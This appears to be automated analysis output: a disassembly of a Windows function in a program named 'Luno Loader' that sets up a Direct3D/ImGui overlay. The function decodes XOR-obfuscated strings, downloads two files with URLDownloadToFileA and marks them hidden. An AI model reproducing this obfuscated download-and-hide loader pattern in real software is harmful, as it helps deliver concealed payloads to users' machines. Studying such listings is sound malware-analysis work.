Function at 0x14002ef00
Capabilities:
Download url
Receive data
Resolve function by parsing pe exports
Set file attributes

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x90]
sub rsp, 0x190
mov rax, qword [0x14007a040]
xor rax, rsp
mov qword [rbp + 0x80], rax
mov rbx, rcx
xor r15d, r15d
mov dword [rsp + 0x70], 0x50
mov dword [rsp + 0x74], 0x40
lea rax, [0x140032b60]
mov qword [rsp + 0x78], rax
mov qword [rbp - 0x80], r15
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rbp - 0x78], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
lea edx, [r15 + 0x65]
call qword [sym.imp.USER32.dll_LoadIconW]
mov qword [rbp - 0x70], rax
mov qword [rbp - 0x68], r15
xorps xmm0, xmm0
movdqu xmmword [rbp - 0x60], xmm0
lea rax, [0x14007126c]
mov qword [rbp - 0x50], rax
mov qword [rbp - 0x48], r15
lea rcx, [rsp + 0x70]
call qword [sym.imp.USER32.dll_RegisterClassExW]
mov qword [rsp + 0x58], r15
mov rax, qword [rbp - 0x78]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x48], r15
mov qword [rsp + 0x40], r15
mov dword [rsp + 0x38], 0x1b3
mov dword [rsp + 0x30], 0x1f8
mov dword [rsp + 0x28], 0x64
mov dword [rsp + 0x20], 0x64
mov r9d, 0x80ce0000
lea r8, str.Luno_Loader
mov rdx, qword [rbp - 0x50]
xor ecx, ecx
call qword [sym.imp.USER32.dll_CreateWindowExW]
mov qword [rbx + 0x50], rax
lea edx, [r15 - 0x10]
mov rcx, rax
call qword [sym.imp.USER32.dll_GetWindowLongW]
btr eax, 0x12
mov r8d, eax
lea edx, [r15 - 0x10]
mov rcx, qword [rbx + 0x50]
call qword [sym.imp.USER32.dll_SetWindowLongW]
mov dword [rsp + 0x30], 0x23
mov dword [rsp + 0x28], r15d
mov dword [rsp + 0x20], r15d
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, qword [rbx + 0x50]
call qword [sym.imp.USER32.dll_SetWindowPos]
mov dword [rbp - 0x40], 1
lea r9d, [r15 + 4]
lea r8, [rbp - 0x40]
lea edx, [r15 + 0x14]
mov rcx, qword [rbx + 0x50]
call qword [sym.imp.dwmapi.dll_DwmSetWindowAttribute]
mov rdi, qword [rbx + 0x50]
lea ecx, [r15 + 0x20]
call qword [sym.imp.d3d9.dll_Direct3DCreate9]
mov qword [rbx], rax
lea r14, [rbx + 8]
test rax, rax
je 0x14002f0eb
mov qword [rbx + 0x10], r15
mov qword [rbx + 0x1c], r15
mov dword [rbx + 0x24], r15d
mov qword [rbx + 0x28], 1
mov qword [rbx + 0x44], r15
mov dword [rbx + 0x38], 1
mov dword [rbx + 0x18], r15d
mov dword [rbx + 0x3c], 1
mov dword [rbx + 0x40], 0x50
mov dword [rbx + 0x4c], 1
mov qword [rbx + 0x30], rdi
mov rcx, rax
mov rax, qword [rax]
mov r10, qword [rax + 0x80]
lea rax, [rbx + 0x10]
mov qword [rsp + 0x30], r14
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0x40
mov r9, qword [rbx + 0x50]
xor edx, edx
lea r8d, [r15 + 1]
call r10
test eax, eax
je 0x14002f120
mov rcx, qword [r14]
test rcx, rcx
je 0x14002f0fc
mov rax, qword [rcx]
call qword [rax + 0x10]
mov qword [r14], r15
mov rcx, qword [rbx]
test rcx, rcx
je 0x14002f10d
mov rax, qword [rcx]
call qword [rax + 0x10]
mov qword [rbx], r15
mov rdx, qword [rbp - 0x78]
mov rcx, qword [rbp - 0x50]
call qword [sym.imp.USER32.dll_UnregisterClassW]
jmp 0x14002f77b
mov edx, 0xa
mov rcx, qword [rbx + 0x50]
call qword [sym.imp.USER32.dll_ShowWindow]
mov rcx, qword [rbx + 0x50]
call qword [sym.imp.USER32.dll_UpdateWindow]
mov rax, qword [0x1400c5eb0]
test rax, rax
je 0x14002f14b
inc dword [rax + 0x3b0]
mov ecx, 0x3f00
call fcn.1400442b0
mov qword [rsp + 0x68], rax
lea rcx, [rsp + 0x60]
mov qword [rbp - 0x10], rcx
mov qword [rbp - 0x30], rax
test rax, rax
je 0x14002f178
xor edx, edx
mov rcx, rax
call fcn.1400029f0
jmp 0x14002f17b
mov rax, r15
cmp qword [0x1400c5eb0], 0
jne 0x14002f18c
mov qword [0x1400c5eb0], rax
mov rcx, rax
call fcn.1400087b0
mov rax, qword [0x1400c5eb0]
mov byte [rax + 0x398], 0
call fcn.140032be0
mov rdi, qword [rbx + 0x50]
lea rcx, [0x1400c5ee8]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
test eax, eax
je 0x14002f32c
lea rcx, [0x1400c5ee0]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
test eax, eax
je 0x14002f32c
mov qword [0x1400c5ed8], rdi
mov rax, qword [0x1400c5eb0]
or dword [rax + 0xc], 6
lea rcx, str.imgui_impl_win32
mov qword [rax + 0xd8], rcx
mov qword [rax + 0x120], rdi
mov dword [rax + 0x3c], 9
mov dword [rax + 0x40], 0x25
mov dword [rax + 0x44], 0x27
mov dword [rax + 0x48], 0x26
mov dword [rax + 0x4c], 0x28
mov dword [rax + 0x50], 0x21
mov dword [rax + 0x54], 0x22
mov dword [rax + 0x58], 0x24
mov dword [rax + 0x5c], 0x23
mov dword [rax + 0x60], 0x2d
mov dword [rax + 0x64], 0x2e
mov dword [rax + 0x68], 8
mov dword [rax + 0x6c], 0x20
mov dword [rax + 0x70], 0xd
mov dword [rax + 0x74], 0x1b
mov dword [rax + 0x78], 0xd
mov dword [rax + 0x7c], 0x41
mov dword [rax + 0x80], 0x43
mov dword [rax + 0x84], 0x56
mov dword [rax + 0x88], 0x58
mov dword [rax + 0x8c], 0x59
mov dword [rax + 0x90], 0x5a
lea rax, str.xinput1_4.dll
mov qword [rbp], rax
lea rax, str.xinput1_3.dll
mov qword [rbp + 8], rax
lea rax, str.xinput9_1_0.dll
mov qword [rbp + 0x10], rax
lea rax, str.xinput1_2.dll
mov qword [rbp + 0x18], rax
lea rax, str.xinput1_1.dll
mov qword [rbp + 0x20], rax
mov rdi, r15
nop
mov rcx, qword [rbp + rdi*8]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rsi, rax
test rax, rax
jne 0x14002f2fe
inc rdi
cmp rdi, 5
jl 0x14002f2e0
jmp 0x14002f32c
lea rdx, str.XInputGetCapabilities
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x1400c5ec8], rax
lea rdx, str.XInputGetState
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x1400c5ed0], rax
mov rsi, qword [r14]
mov rdi, qword [0x1400c5eb0]
test rdi, rdi
je 0x14002f341
inc dword [rdi + 0x3b0]
mov ecx, 0x28
call fcn.1400442b0
test rax, rax
je 0x14002f36f
mov qword [rax], r15
mov qword [rax + 8], r15
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], r15
mov dword [rax + 0x20], 0x1388
mov dword [rax + 0x24], 0x2710
jmp 0x14002f372
mov rax, r15
mov qword [rdi + 0xf0], rax
lea rcx, str.imgui_impl_dx9
mov qword [rdi + 0xe0], rcx
or dword [rdi + 0xc], 8
mov qword [rax], rsi
mov rax, qword [rsi]
mov rcx, rsi
call qword [rax + 8]
movabs r15, 0x1a3bd50f05168f04
mov qword [rbp - 0x10], r15
movabs rsi, 0xe762917386197054
mov qword [rbp - 8], rsi
movabs r14, 0x4654bb7a494ab547
mov qword [rbp - 0x30], r14
mov qword [rbp - 0x28], rsi
movdqa xmm0, xmmword [rbp - 0x10]
xorps xmm0, xmmword [rbp - 0x30]
movdqa xmmword [rbp - 0x10], xmm0
lea rax, [rbp - 0x10]
mov rdi, 0xffffffffffffffff
nop
inc rdi
cmp byte [rax + rdi], 0
jne 0x14002f3e0
call fcn.140033e0c
lea rcx, [rbp - 0x10]
mov qword [rbp - 0x30], rcx
mov qword [rbp - 0x28], rdi
lea r8, [rbp - 0x30]
mov edx, eax
lea rcx, [rbp]
call fcn.14002e440
nop
lea rcx, [rbp]
cmp qword [rbp + 0x18], 7
cmova rcx, qword [rbp]
call fcn.140033f48
mov rdx, rax
shr rax, 0x20
test eax, eax
jne 0x14002f7b3
mov rdx, qword [rbp + 0x18]
cmp rdx, 7
jbe 0x14002f46c
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002f467
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002f7ad
call fcn.14003464c
mov qword [rbp - 0x30], r15
movabs rax, 0x8303fe1fe86e1f30
mov qword [rbp - 0x28], rax
movabs rax, 0x4f5df370c246a864
mov qword [rbp - 0x20], rax
movabs r8, 0x138d3541abd08b16
mov qword [rbp - 0x18], r8
mov qword [rbp], r14
mov qword [rbp + 8], rsi
movabs rdx, 0x4f5d9608a768da01
mov qword [rbp + 0x10], rdx
mov qword [rbp + 0x18], r8
movdqa xmm0, xmmword [rbp]
xorps xmm0, xmmword [rbp - 0x30]
movdqa xmmword [rbp - 0x30], xmm0
movdqa xmm1, xmmword [rbp - 0x20]
xorps xmm1, xmmword [rbp + 0x10]
movdqa xmmword [rbp - 0x20], xmm1
movabs rax, 0x697b8109393ec12f
mov qword [rbp + 0x40], rax
movabs r13, 0xc950e210e9770538
mov qword [rbp + 0x48], r13
movabs r12, 0x2a28e76dd547af73
mov qword [rbp + 0x50], r12
movabs r15, 0x4ae35031c4efff65
mov qword [rbp + 0x58], r15
movabs r14, 0xc93c21f63c9112ca
mov qword [rbp + 0x60], r14
movabs rax, 0xb4dc1cd9a91b9f65
mov qword [rbp + 0x68], rax
movabs rax, 0xf384723c269eb4f1
mov qword [rbp + 0x70], rax
movabs rcx, 0x739237c5ef75e97a
mov qword [rbp + 0x78], rcx
movabs rax, 0x4654bb7a494ab547
mov qword [rbp], rax
mov qword [rbp + 8], rsi
mov qword [rbp + 0x10], rdx
mov qword [rbp + 0x18], r8
movabs rsi, 0xaf59738e59f57cab
mov qword [rbp + 0x20], rsi
movabs rdi, 0xd5b370b7de74fb58
mov qword [rbp + 0x28], rdi
movabs rax, 0xf384723c26ecd195
mov qword [rbp + 0x30], rax
mov qword [rbp + 0x38], rcx
movdqa xmm0, xmmword [rbp + 0x40]
xorps xmm0, xmmword [rbp]
movdqa xmmword [rbp + 0x40], xmm0
movdqa xmm1, xmmword [rbp + 0x50]
xorps xmm1, xmmword [rbp + 0x10]
movdqa xmmword [rbp + 0x50], xmm1
movdqa xmm0, xmmword [rbp + 0x60]
xorps xmm0, xmmword [rbp + 0x20]
movdqa xmmword [rbp + 0x60], xmm0
movdqa xmm1, xmmword [rbp + 0x70]
xorps xmm1, xmmword [rbp + 0x30]
movdqa xmmword [rbp + 0x70], xmm1
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, [rbp - 0x30]
lea rdx, [rbp + 0x40]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movabs rax, 0x1a3bd50f05168f04
mov qword [rbp - 0x30], rax
movabs rax, 0xe716f011a861142d
mov qword [rbp - 0x28], rax
movabs rax, 0x4654bb7a494ab547
mov qword [rbp - 0x10], rax
movabs rax, 0xe762917386197054
mov qword [rbp - 8], rax
movdqa xmm0, xmmword [rbp - 0x30]
xorps xmm0, xmmword [rbp - 0x10]
movdqa xmmword [rbp - 0x30], xmm0
movabs rax, 0x697b8109393ec12f
mov qword [rbp], rax
mov qword [rbp + 8], r13
mov qword [rbp + 0x10], r12
mov qword [rbp + 0x18], r15
mov qword [rbp + 0x20], r14
movabs rax, 0xd5b370b7aa159965
mov qword [rbp + 0x28], rax
movabs r13, 0x4654bb7a494ab547
mov qword [rbp + 0x40], r13
movabs r12, 0xe762917386197054
mov qword [rbp + 0x48], r12
movabs r14, 0x4f5d9608a768da01
mov qword [rbp + 0x50], r14
movabs r15, 0x138d3541abd08b16
mov qword [rbp + 0x58], r15
mov qword [rbp + 0x60], rsi
mov qword [rbp + 0x68], rdi
movdqa xmm0, xmmword [rbp]
xorps xmm0, xmmword [rbp + 0x40]
movdqa xmmword [rbp], xmm0
movdqa xmm1, xmmword [rbp + 0x10]
xorps xmm1, xmmword [rbp + 0x50]
movdqa xmmword [rbp + 0x10], xmm1
movdqa xmm0, xmmword [rbp + 0x20]
xorps xmm0, xmmword [rbp + 0x60]
movdqa xmmword [rbp + 0x20], xmm0
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, [rbp - 0x30]
lea rdx, [rbp]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movabs rdi, 0x1a3bd50f05168f04
mov qword [rbp - 0x30], rdi
movabs rax, 0x8303fe1fe86e1f30
mov qword [rbp - 0x28], rax
movabs rax, 0x4f5df370c246a864
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], r15
mov qword [rbp], r13
mov qword [rbp + 8], r12
mov qword [rbp + 0x10], r14
mov qword [rbp + 0x18], r15
movdqa xmm0, xmmword [rbp - 0x30]
xorps xmm0, xmmword [rbp]
movdqa xmmword [rbp - 0x30], xmm0
movdqa xmm1, xmmword [rbp - 0x20]
xorps xmm1, xmmword [rbp + 0x10]
movdqa xmmword [rbp - 0x20], xmm1
mov edx, 2
lea rcx, [rbp - 0x30]
call qword [sym.imp.KERNEL32.dll_SetFileAttributesA]
mov qword [rbp - 0x30], rdi
movabs rax, 0xe716f011a861142d
mov qword [rbp - 0x28], rax
mov qword [rbp - 0x10], r13
mov qword [rbp - 8], r12
movdqa xmm0, xmmword [rbp - 0x30]
xorps xmm0, xmmword [rbp - 0x10]
movdqa xmmword [rbp - 0x30], xmm0
mov edx, 2
lea rcx, [rbp - 0x30]
call qword [sym.imp.KERNEL32.dll_SetFileAttributesA]
mov byte [rbx + 0x80], 1
mov al, 1
mov rcx, qword [rbp + 0x80]
xor rcx, rsp
call fcn.1400343b0
lea r11, [rsp + 0x190]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.14004465c
nop
shr rdx, 0x20
lea r8, [rbp]
call fcn.14002ee90
int3